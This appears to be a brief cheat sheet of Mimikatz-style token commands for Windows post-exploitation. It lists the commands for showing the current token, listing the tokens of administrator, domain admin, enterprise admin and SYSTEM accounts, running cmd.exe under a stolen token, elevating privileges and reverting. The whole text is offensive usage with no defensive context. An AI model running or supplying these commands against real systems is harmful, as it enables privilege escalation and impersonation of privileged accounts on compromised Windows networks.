Show who you are 

token::whoami

Show other tokens:

token::list /user:administrator
token::list /user:domainadmin
token::list /user:enterpriseadmin
token::list /user:system\
token::list /user:bob123

Run process with a token:

token::run /process:cmd.exe

Get those privileges:

token::elevate

Revert Token:

token::revert